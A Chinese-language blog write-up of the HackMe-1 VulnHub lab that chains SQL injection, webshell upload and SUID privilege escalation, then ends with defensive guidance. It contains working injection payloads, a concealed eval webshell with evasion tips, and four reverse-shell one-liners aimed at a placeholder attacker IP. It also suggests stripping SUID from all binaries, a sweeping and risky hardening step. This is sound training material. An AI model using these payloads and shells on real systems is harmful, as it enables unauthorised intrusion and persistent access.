HackMe-1 靶机实战:SQL注入到文件上传的 3 步完整攻击链复现
📅 2026/7/8 20:36:09
👁️ 阅读次数
📝 编程学习
HackMe-1 靶机实战:从SQL注入到文件上传的完整攻击链剖析
靶机环境与攻击路径总览
HackMe-1是VulnHub平台上专为渗透测试学习者设计的初级难度靶机,其核心价值在于完整呈现了Web应用中三个典型漏洞的串联利用过程。与真实企业环境中常见的漏洞组合模式高度一致,这个靶机模拟了以下攻击路径:
- SQL注入漏洞→ 获取管理员凭证
- 文件上传漏洞→ 部署Webshell
- 系统权限提升→ 获取root权限
graph TD A[信息收集] --> B[SQL注入获取凭证] B --> C[管理员后台登录] C --> D[文件上传漏洞利用] D --> E[反弹Shell建立] E --> F[本地提权操作]1. 信息收集与漏洞定位
1.1 基础扫描技术组合
网络探测是渗透测试的第一步,使用以下命令组合可快速定位靶机:
arp-scan -l # 发现同一网段活跃主机 nmap -sV -p- 192.168.1.100 # 全端口扫描与服务识别关键发现:
- 开放端口:80(HTTP)、22(SSH)
- Web服务器:Apache 2.4.x
- 操作系统:Linux(内核版本3.x-4.x)
1.2 目录与漏洞扫描进阶技巧
使用多种工具交叉验证扫描结果可提高准确性:
# 目录扫描 gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt # 漏洞扫描 nikto -h http://192.168.1.100 | tee nikto_scan.log典型发现:
/admin:后台登录入口/uploads:文件上传目录/search.php:存在注入点的搜索功能
2. SQL注入深度利用
2.1 注入点识别与验证
在图书搜索功能中发现字符型注入:
' AND 1=1-- - # 正常返回 ' AND 1=2-- - # 无结果返回 Windows' UNION SELECT 1,2,3-- - # 确认字段数2.2 自动化注入工具实战
使用sqlmap进行高效数据提取:
sqlmap -u "http://192.168.1.100/search.php" --data="query=test" --risk=3 --level=5 --batch关键参数说明:
--dbs:枚举数据库-D webapphacking --tables:获取指定数据库表--os-shell:尝试获取系统shell
2.3 数据库信息提取流程
手工注入步骤示例:
1' UNION SELECT database(),2,3-- - # 获取当前数据库 1' UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema='webapphacking'-- - # 获取所有表 1' UNION SELECT group_concat(column_name),2,3 FROM information_schema.columns WHERE table_name='users'-- - # 获取字段名 1' UNION SELECT group_concat(user,0x3a,password),2,3 FROM users-- - # 提取凭证数据获取的关键凭证:
| 用户名 | 密码哈希(MD5) | 解密后密码 |
|---|---|---|
| admin | e10adc3949ba59abbe56... | 123456 |
| superadmin | 2e9f1b7a27b3a2f1e4e8... | Uncrackable |
3. 文件上传漏洞利用
3.1 绕过基础防护的三种方法
方法一:Content-Type绕过
- 制作包含PHP代码的图片文件
- Burp拦截修改Content-Type为
image/jpeg
方法二:双扩展名绕过
mv shell.php shell.php.jpg方法三:NULL字节截断
shell.php%00.jpg3.2 实战上传Webshell
使用最简一句话木马:
<?php system($_GET['cmd']); ?>上传验证流程:
- 访问
/uploads/shell.php?cmd=id - 确认返回当前用户权限信息
3.3 高级持久化技术
隐蔽型Webshell示例:
<?php $key = "secret123"; if(isset($_GET[$key])) { eval($_GET[$key]); } ?>反检测技巧:
- 使用不常见函数替代
eval - 添加合法文件头(如GIF89a)
- 设置访问密码保护
4. 权限提升与系统控制
4.1 反弹Shell的四种方式
方法一:Bash反向连接
bash -i >& /dev/tcp/攻击机IP/4444 0>&1方法二:Python脚本
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("攻击机IP",4444)) os.dup2(s.fileno(),0); os.dup2(s.fileno,1); os.dup2(s.fileno(),2) p=subprocess.call(["/bin/bash","-i"])方法三:PHP反向Shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/攻击机IP/4444 0>&1'"); ?>方法四:Metasploit生成
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=4444 -f elf > shell.elf4.2 本地提权技术实战
SUID提权检测:
find / -perm -4000 -type f 2>/dev/null发现的可利用程序:
/usr/bin/find/usr/bin/vim/home/legacy/touchmenot
利用示例:
/home/legacy/touchmenot # 直接执行获取root /usr/bin/find . -exec /bin/sh \; -quit # 通过find提权5. 防御措施与最佳实践
5.1 SQL注入防护方案
代码层防护:
// 使用预处理语句 $stmt = $pdo->prepare("SELECT * FROM books WHERE title LIKE ?"); $stmt->execute(["%".$input."%"]);WAF规则示例:
SecRule ARGS "@detectSQLi" "id:1001,deny,status:403"5.2 文件上传安全控制
防御矩阵:
| 防护层 | 实施方法 | 有效性 |
|---|---|---|
| 扩展名验证 | 白名单机制(仅允许.jpg/.png) | ★★★☆☆ |
| 内容检测 | 文件头校验+二次渲染 | ★★★★☆ |
| 存储隔离 | 上传目录禁止脚本执行 | ★★★★★ |
| 随机化命名 | 防止直接访问猜测 | ★★☆☆☆ |
5.3 系统加固建议
Linux安全基线:
# 限制SUID程序 find / -perm -4000 -exec chmod u-s {} \; # 配置sudo权限 visudo # 严格限制普通用户权限 # 定期审计 apt install auditd auditctl -a always,exit -F arch=b64 -S execve6. 攻击链复现的实战价值
通过HackMe-1靶机的完整渗透过程,安全人员可以深入理解:
- 漏洞关联性:如何将独立漏洞串联形成完整攻击路径
- 权限维持:从Web应用到系统级的持久化技术
- 痕迹清理:操作日志的识别与清除方法
- 防御突破:针对常见防护措施的绕过思路
这种从外到内、由浅入深的渗透模式,正是企业真实环境中攻击者最常采用的攻击方法论。掌握此类靶机的攻防技术,能够有效提升对企业Web应用安全的整体防护能力。
编程学习
技术分享
实战经验